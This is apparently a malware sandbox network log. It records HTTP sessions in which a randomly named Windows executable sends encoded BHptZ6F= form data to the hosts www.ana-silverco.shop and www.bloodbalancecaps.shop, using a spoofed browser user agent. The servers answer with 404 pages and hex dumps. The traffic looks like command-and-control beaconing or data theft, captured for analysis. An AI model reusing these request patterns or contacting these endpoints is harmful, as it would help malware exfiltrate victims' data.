Dec 6, 2024 17:38:48.528377056 CET	898	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrbAJGBPqSekiNFNlLHlkWggZwRIBoCZeboYSGLKT88GqdIjBLj%2FtoG0oehOD2Hr%2BwCtriyKTCpNk2kTYGYqwJl4YFKnBBfY6aAe2pugIwxlTEwg7WsA7rLiYXnQl1nJ2rpoRfTjj9w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eddb557eba0426a-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1756&rtt_var=878&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=793&delivery_rate=0&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.12	50007	104.21.90.137	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:50.058731079 CET	813	OUT	POST /ez1t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.ana-silverco.shop Origin: http://www.ana-silverco.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.ana-silverco.shop/ez1t/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 33 64 73 34 76 4c 2b 52 33 2f 36 5a 5a 7a 68 38 67 57 78 2f 4b 34 71 4e 2f 70 39 4c 39 42 36 48 43 37 53 35 67 4b 74 56 35 6b 56 58 66 32 38 4c 2f 71 47 4f 55 37 50 41 48 53 32 39 47 4d 78 36 58 79 67 64 43 4b 4e 4d 35 61 30 34 35 4f 46 7a 50 76 36 4f 47 69 78 6a 62 66 66 51 59 53 41 70 7a 48 6a 67 4e 51 59 34 57 70 4e 4c 52 74 55 5a 64 2f 6a 2b 41 59 70 30 54 73 39 69 36 6b 44 52 69 4c 6f 64 4d 71 66 5a 36 4c 35 70 56 36 4a 2f 43 70 5a 45 34 54 63 53 6c 79 51 39 32 78 47 73 53 4f 4c 6a 6d 66 65 76 39 46 44 53 44 5a 37 59 61 47 4c 68 79 41 73 51 74 36 4d 4a 74 77 66 48 78 39 47 51 6b 43 32 47 46 64 31 34 62 35 55 37 64 6b 55 68 4c 78 59 3d Data Ascii: BHptZ6F=3ds4vL+R3/6ZZzh8gWx/K4qN/p9L9B6HC7S5gKtV5kVXf28L/qGOU7PAHS29GMx6XygdCKNM5a045OFzPv6OGixjbffQYSApzHjgNQY4WpNLRtUZd/j+AYp0Ts9i6kDRiLodMqfZ6L5pV6J/CpZE4TcSlyQ92xGsSOLjmfev9FDSDZ7YaGLhyAsQt6MJtwfHx9GQkC2GFd14b5U7dkUhLxY=
Dec 6, 2024 17:38:51.231123924 CET	910	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ncRbJFQ0QFw%2BWH%2BDc0YIPq1OEGnzWQe%2BG%2BfsfdF57MPZpn6DMs81OjFhSkXissxUlPxwmIZIq%2FHuwb%2BQ9vyeVe4PTmssyDbl49YxPRY9Z2wb0PTfNw4uMpv6BA%2FBGVsr%2BBalXs7PsfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eddb5689e41f78f-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1659&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=813&delivery_rate=0&cwnd=135&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.12	50016	104.21.90.137	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:52.727773905 CET	1826	OUT	POST /ez1t/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.ana-silverco.shop Origin: http://www.ana-silverco.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.ana-silverco.shop/ez1t/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 33 64 73 34 76 4c 2b 52 33 2f 36 5a 5a 7a 68 38 67 57 78 2f 4b 34 71 4e 2f 70 39 4c 39 42 36 48 43 37 53 35 67 4b 74 56 35 6b 64 58 66 46 45 4c 2b 4c 47 4f 56 37 50 41 4a 79 32 2b 47 4d 78 6a 58 79 4a 55 43 4b 51 35 35 5a 41 34 2f 63 4e 7a 4a 65 36 4f 4d 69 78 6a 45 50 66 56 58 79 41 47 7a 42 44 73 4e 51 6f 34 57 70 4e 4c 52 76 38 5a 55 4c 33 2b 43 59 70 33 45 63 39 55 78 45 44 35 69 4c 78 71 4d 71 61 73 6d 72 5a 70 56 61 5a 2f 41 61 68 45 77 54 63 51 31 69 51 6c 32 32 50 73 53 50 69 53 6d 63 44 41 39 43 50 53 41 38 57 79 45 57 50 46 6e 6a 78 6f 68 35 41 33 68 79 48 73 79 4c 6d 48 71 78 43 30 4f 4f 35 6f 63 6f 34 30 59 33 38 33 64 68 76 69 66 52 30 67 74 2b 2b 2b 6f 6b 56 75 47 6d 50 50 57 7a 46 68 51 6b 6d 39 79 6e 6c 63 2f 4c 34 47 72 56 7a 35 6b 32 53 39 31 56 50 32 4a 4e 78 58 65 30 45 66 4f 4e 7a 4a 5a 6a 61 6d 32 6c 4a 32 34 5a 43 45 4a 78 56 52 78 65 4f 36 56 50 49 45 74 50 73 41 6b 71 75 77 4d 66 53 66 38 52 6c 74 71 2b 44 36 79 7a 55 65 51 4f 79 51 2b 61 54 39 74 4f [TRUNCATED] Data Ascii: BHptZ6F=3ds4vL+R3/6ZZzh8gWx/K4qN/p9L9B6HC7S5gKtV5kdXfFEL+LGOV7PAJy2+GMxjXyJUCKQ55ZA4/cNzJe6OMixjEPfVXyAGzBDsNQo4WpNLRv8ZUL3+CYp3Ec9UxED5iLxqMqasmrZpVaZ/AahEwTcQ1iQl22PsSPiSmcDA9CPSA8WyEWPFnjxoh5A3hyHsyLmHqxC0OO5oco40Y383dhvifR0gt+++okVuGmPPWzFhQkm9ynlc/L4GrVz5k2S91VP2JNxXe0EfONzJZjam2lJ24ZCEJxVRxeO6VPIEtPsAkquwMfSf8Rltq+D6yzUeQOyQ+aT9tO5XY6BucOqkfBJFuM12Yj4xJb8+XQITJ95I+ZuT5EwlYRGHiPVVlxPhLvhyZ/SaSGUXZHpVoTw6YJcg5SaeSAfQF8//XLldhjmisi2XOFYD1/4mmkOSq36k0NfM8JBlpR4r61fCc5cPVDt/gtjCMQbbq63eDckVN2yOH2ltvGv6fDVdwAn+JWw/+VhqLhg3ofIiOvtI2Uwp1tlJSoHrUjTTKDaoyFU/SEhBLyfs4ptJwC2ivU+2VmoAogZNipWdTkFbO4BJdd5nXSvZaF81DkCyEOkvscYHkyBoY6/oUjm5Oit30qhPMU39y+YGyDhC79fNJIVNUbyFLcUvU9e4fu1CLZT53G2YJWqRcNt92c7wYu/axdLsgX4AilPWYU8DQnV9RVzVkbYZ9QaJ5KOkiXUPWEJv6I2MH7oE5XVJf1T+5DF9Vl4Uj7TVCbetLTvgoznNe+9Zc4zJ98qlHPydyGIBybwRI7IggBYuvt55d3HIz3162zW84WQpubrfsxA4QVgDskWVO7ekMes6CkU9mvKftvaVk+depKibEy2AsgT7Xe5MdQUrc83FfA9vdXaRZlJXQ8j/cL2kUcyUlyLtDtr9fNCKJeeBVWLn5ByLBvqL4zE1ENQn6gr4vt409wh5o6k0987sXI/IOUEhKduZXlcLYLVwaNeSb2N1 [TRUNCATED]
Dec 6, 2024 17:38:53.955550909 CET	909	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klTNJjBKBRcyfJIazy2jYLVA0hRfmQr4XFeXLNL%2FP2eSQRU9lEJID8mbAMkExn3sZ71P%2FfDl3RsR1bjUcyxVKV%2FniUxWWLu5KGQBt5ae4r3V73kgWWqi1ml%2BOGhqUJNQB3oX9zj4a%2F4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eddb5798d5fef9f-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29696&min_rtt=29696&rtt_var=14848&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1826&delivery_rate=0&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 190

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.12	50021	104.21.90.137	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:38:55.392103910 CET	519	OUT	GET /ez1t/?BHptZ6F=6fEYs/GnwtqWMztB9xFdTpyVwIgq4y66Lrjdt5EE8ztyQFcx1ZWnbcrnPkjaT/5aXxdNApMw2aINlctYTPbgIAplS4neSxI29SjRMg4iVPNQf+tma6zkIeo=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.ana-silverco.shop Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:38:56.544302940 CET	847	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xUKvpOayw%2FbaN0zwn70sunYJryCSswQyyAn3CKPqEpaf3Tjq7Iupbufkoy1HRwY8rJM60Vi4bseWikiCm6QPe1uPnUS0QDp0pR0uo%2BiZsXAgHAzolQ%2FlbCHY50gpkaRj1YnVU%2BjYoKk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eddb589f82842da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1708&rtt_var=854&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=519&delivery_rate=0&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.12	50022	108.179.253.197	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:39:02.526726007 CET	805	OUT	POST /qimy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.bloodbalancecaps.shop Origin: http://www.bloodbalancecaps.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.bloodbalancecaps.shop/qimy/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6b 55 63 78 50 36 38 61 35 31 54 6e 4d 74 54 67 52 52 34 31 4b 49 4c 42 62 64 38 57 55 49 4c 4f 74 6a 4e 2b 4d 55 78 39 70 52 57 58 4e 37 4e 31 69 68 62 4b 50 34 59 6c 77 31 62 2b 35 43 44 34 79 64 49 46 62 4b 49 70 50 33 49 61 46 68 63 72 69 54 4f 4d 69 63 5a 4e 68 39 77 6d 65 36 67 65 59 4c 78 76 75 5a 42 6e 71 6b 4a 77 57 73 79 58 76 48 41 6b 44 6c 72 50 39 77 4a 62 54 36 4c 6c 31 39 4f 2f 71 70 4a 52 53 43 6d 6a 38 37 31 34 70 67 34 71 4c 64 72 6c 47 54 2f 51 35 66 7a 71 42 70 4b 51 43 70 35 41 4e 52 73 30 38 6b 47 39 33 6a 38 67 57 4b 47 55 6e 51 32 53 69 48 35 49 39 41 3d 3d Data Ascii: BHptZ6F=kUcxP68a51TnMtTgRR41KILBbd8WUILOtjN+MUx9pRWXN7N1ihbKP4Ylw1b+5CD4ydIFbKIpP3IaFhcriTOMicZNh9wme6geYLxvuZBnqkJwWsyXvHAkDlrP9wJbT6Ll19O/qpJRSCmj8714pg4qLdrlGT/Q5fzqBpKQCp5ANRs08kG93j8gWKGUnQ2SiH5I9A==
Dec 6, 2024 17:39:03.765054941 CET	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:39:03 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 15183 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 79 24 8d e3 1b 83 0d d3 73 92 e2 69 72 de ed 06 42 a9 28 60 28 73 [TRUNCATED] Data Ascii: ]F%+<#W\|RRfZuJ9x gi9fAko~x$=q?D0Lb77XFivOo$`rJ 1s#N"h&\r&d&g\@Ys9=K\_0yE[%>7f`UmVf\R.4<IoT<t+tlcKdR,b7FpyG4y$sirB(`(s!M/'6% v,Jv1^BjLUFjmn1fvDfUseN#l1=qY,L}?\&L0/5YGnik[:^gKh7b}'i2<,,O]:h?Pl_KwCQDSZq`~?=\vzYsi4q!C&ob4Qm*N&V;;Y"?XM3:S&!nA(Xnq}<7mkn7G6w&#n^SIj[Ot5p,I&rg@w"Ll
Dec 6, 2024 17:39:03.765098095 CET	1236	IN	Data Raw: b5 f5 a4 f9 09 9c 64 c9 a9 fd 5a 6c 5a 63 0d b6 d0 92 d8 0e a0 09 e6 cd f5 5e 51 be d6 62 79 09 93 c9 44 ff 6c 7f 7d 68 6d 04 2e 56 02 9b 19 77 f2 63 76 88 8e 6a c4 82 25 0d 7f 59 e8 60 1a bf 14 d1 d5 20 c4 67 1c 0f 7e 29 62 f0 e2 5f 8a be e7 45 Data Ascii: dZlZc^QbyDl}hm.Vwcvj%Y` g~)b_E`Uq0-Ikml<h_U [/xl`3:3_M2\JEF"4n@>&\Zb~5WDm>eI\Bx;TLY; T/pi,am
Dec 6, 2024 17:39:03.765111923 CET	1236	IN	Data Raw: 25 fe 0c 5b 40 f3 80 30 e5 2a a9 56 85 8c 20 6a ed b1 bb c6 0f 6a e2 56 ef d2 8e 6c de 72 8b 30 c7 56 5f 66 d4 ef 7e 7f fa 32 75 c5 9b b5 16 a1 12 4a af a4 1a c7 4a 5a 1a b3 8c 8b f9 6e cc ed 76 2f e2 d8 ee 86 66 d5 1e 57 31 81 fe 46 12 26 67 a1 Data Ascii: %[@0V jjVlr0V_f~2uJJZnv/fW1F&goyj+ TYzuIP0ML\J5t$5d;'X,AKpc1lrny\(mGqwL7V`1,KJFXA#!,93EX=X
Dec 6, 2024 17:39:03.765125036 CET	1236	IN	Data Raw: 9f 98 69 b2 58 66 55 fb 18 67 d8 7a 19 e9 0f b1 b9 7b 9f f1 c8 a6 d5 6b 75 5c e6 c6 5c 08 3f 2c b4 06 69 df b9 7d 8c d7 12 95 62 fa a5 ae 81 c2 56 eb 05 1f a2 d2 5a 04 38 26 68 bf 97 df 13 a3 04 8f c8 67 61 18 8e 57 76 b9 c0 b0 53 a3 66 16 2e 0d Data Ascii: iXfUgz{ku\\?,i}bVZ8&hgaWvSf.4strM.gUA~9Y>,8e^4! Ih5{5{7]-lKFW"\JM#f+}\i}DTI1']XR5nCoMr/3Q X]M'4UtE
Dec 6, 2024 17:39:03.765223980 CET	1236	IN	Data Raw: e9 64 71 f6 e6 4d c4 4d 2e d8 dc 27 55 11 79 cb b3 5c 69 cb a4 1d e3 6d 80 56 00 ed 13 a9 6a ae 70 d3 29 8b d0 68 75 d7 29 f0 24 b5 3e e9 a1 57 77 6f aa 69 6a 2e 32 a6 13 2e 7d e2 11 af e3 5d 3e ba 5e 89 53 49 e3 13 ea 75 1e 63 04 2c bc 4b b4 2a Data Ascii: dqMM.'Uy\imVjp)hu)$>Wwoij.2.}]>^SIuc,KdTgQez\fz+J1Egwl\MNkvPVhEzO&v~<bWO&{0N,BX}Qg2td>~2s\Ln@h=!
Dec 6, 2024 17:39:03.765295982 CET	1236	IN	Data Raw: f9 5b c1 34 f8 a4 37 3e 96 35 a4 03 9f 0c bb 83 a3 49 03 3a f4 c9 a0 3b 7c 22 a9 ef 92 fa 47 93 fa ae 5d ff 89 76 bd 0b 7a 8d bc 2f ba d7 47 d3 ae 31 d1 27 d7 dd de c5 5e 5a a8 84 42 9d 03 c1 c2 3b 9f 7c e6 95 9f fa 9c 70 ce 70 2b a2 e0 26 a5 89 Data Ascii: [47>5I:;\|"G]vz/G1'^ZB;\|pp+&fsLgAp\RnQS34/"vY7SQqP't@i&jXv%ap'E~Da0:~'"j#v 1lzvReKF=80cL;\|tV3c1W~
Dec 6, 2024 17:39:03.765342951 CET	1236	IN	Data Raw: c4 ec 41 67 70 85 99 87 52 ae 30 65 d4 f1 2e 8e a4 f4 30 a5 57 73 9f b2 48 cd 28 95 cc 16 9a 09 9f 5c e4 f7 e5 f7 1a bf 3a 09 58 d3 6b 93 e5 7f a7 ff 88 e3 b2 3a 02 c8 11 be 8f 35 e5 63 e4 d5 54 0f 0f 55 e3 af ce 37 9d eb 6a 0f 76 56 85 15 5c 42 Data Ascii: AgpR0e.0WsH(\:Xk:5cTU7jvV\B[N+hnX?z:qGPPssV>Z)K0v.DDP@}&x^fydL'\BnBwosEnV!)6#iVeOUi-<efE\|yE@$OY[$OCnI
Dec 6, 2024 17:39:03.765357018 CET	1000	IN	Data Raw: 6e 93 63 45 c4 15 89 79 52 73 07 59 00 d1 81 bb 84 09 01 7a 7e e0 96 67 2c 81 03 77 96 05 e2 d0 dd 94 47 b0 cd a6 b5 78 8e 0f 62 3c d3 98 65 5c cc eb 2a b6 ae 51 2a 15 cd 97 15 86 7f 04 9f 78 9d 2b 0d d9 f8 a1 93 32 83 6c 70 3d 55 8b 27 19 94 b9 Data Ascii: ncEyRsYz~g,wGxb<e\Qx+2lp=U'-gILeMJ' RnD2#gh<g_57!:k_%KU@f29u{0~YORBOD+;9bS%-:{UqByUIbH.B_*i53DU1S
Dec 6, 2024 17:39:03.765451908 CET	1236	IN	Data Raw: 3a 3d ae 8e f5 b8 7e 9d 1e d7 c7 7a f4 bc d7 69 d2 f3 8e 76 e9 bd 52 97 de d1 2e fd 57 ea d2 af e9 62 32 26 04 8d 15 de 1b fe 11 16 eb 53 1d e8 fa 92 56 75 35 78 19 44 bc c8 5e 00 58 15 d6 20 0a a6 13 78 01 60 59 57 83 77 ff 62 c4 fb c3 98 9f 00 Data Ascii: :=~zivR.Wb2&SVu5xD^X x`YWwbz5PJY\|u>Z]3tL^sXayt{F{44;Xj0*G6x1v.7JJYVP<a+''TeZDm- T,T
Dec 6, 2024 17:39:03.765642881 CET	1236	IN	Data Raw: 76 d2 f8 67 74 d5 9f 35 18 43 2e 3a 97 9d 5e 55 b3 61 e9 68 01 b5 aa 08 53 ca b1 a8 41 dc 1e cd a4 71 e1 dd 5f 78 2b 56 6e c6 25 62 b7 c8 85 62 91 e9 c6 81 8e 93 ee 7e 7d 27 97 49 63 a7 43 85 5a 89 c0 33 96 40 d7 a5 ac da 0c fa f7 83 fe d3 6d 62 Data Ascii: vgt5C.:^UahSAq_x+Vn%bb~}'IcCZ3@mb6u8Ln}e<c2Bgb-~Lss)!3Mng `hmmXXrZ\|4v-w>harTftUA2>4noLyn&QIn"gi
Dec 6, 2024 17:39:03.885915995 CET	1236	IN	Data Raw: ef 35 98 1c 0d c9 a7 68 1a 0b 99 59 11 81 88 6a 9e a4 76 03 89 75 3c 29 e9 39 66 a9 d2 fc a3 a3 23 0e 4f 51 01 3c 39 c6 06 b8 5e fc da fb 72 20 c2 34 67 18 09 40 4c 1a 0d 82 e3 91 88 59 46 b1 94 23 21 cd 42 8b 83 4d 1a ae 4d 77 03 d3 58 67 95 bc Data Ascii: 5hYjvu<)9f#OQ<9^r 4g@LYF#!BMMwXg\|PSC~v#uXY=vC_4\|eAa?:'E-Z2E^FP\|_kGvf[B+ydf.CJA''Vv\#\|W_E`TLF\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.12	50023	108.179.253.197	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:39:05.198966026 CET	825	OUT	POST /qimy/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.bloodbalancecaps.shop Origin: http://www.bloodbalancecaps.shop Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.bloodbalancecaps.shop/qimy/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6b 55 63 78 50 36 38 61 35 31 54 6e 4d 4e 6a 67 4b 79 67 31 4d 6f 4c 43 48 4e 38 57 4e 59 4c 4b 74 6a 42 2b 4d 57 63 6c 6f 6a 79 58 4d 66 64 31 6a 67 62 4b 63 49 59 6c 6c 46 62 6e 6b 53 43 36 79 64 45 37 62 50 49 70 50 33 63 61 46 67 73 72 2b 77 6e 2b 6a 4d 5a 50 74 64 78 41 42 71 67 65 59 4c 78 76 75 5a 46 4a 71 67 6c 77 57 63 43 58 39 57 41 6e 64 56 72 4d 36 77 4a 62 58 36 4c 70 31 39 4f 4e 71 6f 56 72 53 48 69 6a 38 35 39 34 70 78 34 31 41 64 72 6a 4a 7a 2b 45 30 38 76 75 41 34 4c 46 5a 4c 6f 6b 46 77 63 6e 30 43 4c 6e 6f 52 30 32 44 4a 53 5a 71 48 50 69 76 45 45 42 6d 4b 37 36 71 67 44 7a 6c 63 64 71 63 79 30 74 6d 47 50 39 6a 65 38 3d Data Ascii: BHptZ6F=kUcxP68a51TnMNjgKyg1MoLCHN8WNYLKtjB+MWclojyXMfd1jgbKcIYllFbnkSC6ydE7bPIpP3caFgsr+wn+jMZPtdxABqgeYLxvuZFJqglwWcCX9WAndVrM6wJbX6Lp19ONqoVrSHij8594px41AdrjJz+E08vuA4LFZLokFwcn0CLnoR02DJSZqHPivEEBmK76qgDzlcdqcy0tmGP9je8=
Dec 6, 2024 17:39:06.469746113 CET	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:39:06 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://bloodbalancecaps.shop/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 15183 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd b2 5d 97 e3 46 92 25 f8 9c f1 2b 3c a9 23 05 a9 a2 93 e0 57 7c 80 c1 a8 92 52 52 b7 66 aa 5a 75 4a aa e9 9d 91 b4 39 0e c0 00 78 86 c3 1d e5 ee 20 83 c9 8e 1f d3 67 1e f6 69 9f f6 ec cb be ea 8f ad 39 c0 ef 00 19 8c c8 e8 ae e9 66 04 41 87 b9 d9 b5 6b d7 ee cd db 6f 7e 78 f7 d3 7f ff f3 b7 24 b5 99 b8 3d bb 71 3f 44 30 99 4c 1a b9 a5 7f fe a9 e1 62 c0 a2 db b3 37 37 19 58 46 c2 94 69 03 76 d2 f8 eb 4f df d1 ab 06 e9 ae 6f 24 cb 60 d2 98 72 98 e5 4a db 06 09 95 b4 20 31 73 c6 23 9b 4e 22 98 f2 10 68 f9 d2 26 5c 72 cb 99 a0 26 64 02 26 bd 12 67 0b e6 5c ab 40 59 73 be 06 39 cf d8 3d e5 19 4b 80 e6 1a 5c 13 5f 30 9d c0 79 45 c0 d8 b9 80 5b 9e 25 3e 37 cd 9f 0d ff 08 66 d2 60 85 55 0d c2 7f 6d 93 2a f2 7f 56 a1 b6 8b b5 c8 a2 c4 66 5c 52 2e ad e6 d2 f0 90 ba 34 9f 0c 3c cf cb ef 49 6f 54 fe 3c dc 74 2b 74 6c 63 b9 c5 c3 9f 7f fb d7 84 4b 64 fa db ff 52 04 a4 83 d1 2c 62 37 dd ea fa ec 46 70 79 47 34 88 c9 